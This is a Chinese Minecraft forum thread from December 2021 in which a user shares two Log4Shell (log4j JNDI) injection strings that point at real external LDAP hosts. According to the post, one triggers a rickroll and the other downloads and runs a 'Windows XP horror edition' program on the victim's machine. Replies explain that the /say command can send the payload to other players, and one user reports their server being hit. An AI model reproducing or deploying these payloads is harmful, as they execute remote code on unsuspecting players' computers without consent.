分享两个测试log4j漏洞的命令（在我的世界java版内使用）

显示全部楼层 · 发表于 2021-12-16 13:00:52

测试命令：${jndi:ldap://zhou2008.dd-dns.de:8849/Test}
成功会播放rickroll

测试命令：${jndi:ldap://82.156.186.126:8848/Test}
成功会下载并运行Windows xp horror edition

显示全部楼层 · 发表于 2021-12-16 13:02:03

请问服务器控制台可以使用吗

显示全部楼层 · 发表于 2021-12-16 13:02:48

隔山打空气发表于 2021-12-16 13:02
请问服务器控制台可以使用吗

可以的，用say指令可以给玩家发送命令

显示全部楼层 · 发表于 2021-12-16 13:05:46

本帖最后由隔山打空气于 2021-12-16 13:07 编辑

服务器被秒了...双杀，运维还没跟进，幸好我们的KES设置了端口扫描检测和封禁攻击者IP32768分钟
等一下，出了一堆代码，但是没有播放也没下载，这是成功了吗？

显示全部楼层 · 发表于 2021-12-16 13:18:22

隔山打空气发表于 2021-12-16 13:05
服务器被秒了...双杀，运维还没跟进，幸好我们的KES设置了端口扫描检测和封禁攻击者IP32768分钟
等一下， ...

成功的话应该是直接运行并播放rickroll，那估计是没成功

显示全部楼层 · 发表于 2021-12-16 15:21:48

Mod123xsd 发表于 2021-12-16 13:18
成功的话应该是直接运行并播放rickroll，那估计是没成功

好的谢谢

[分享] 分享两个测试log4j漏洞的命令（在我的世界java版内使用）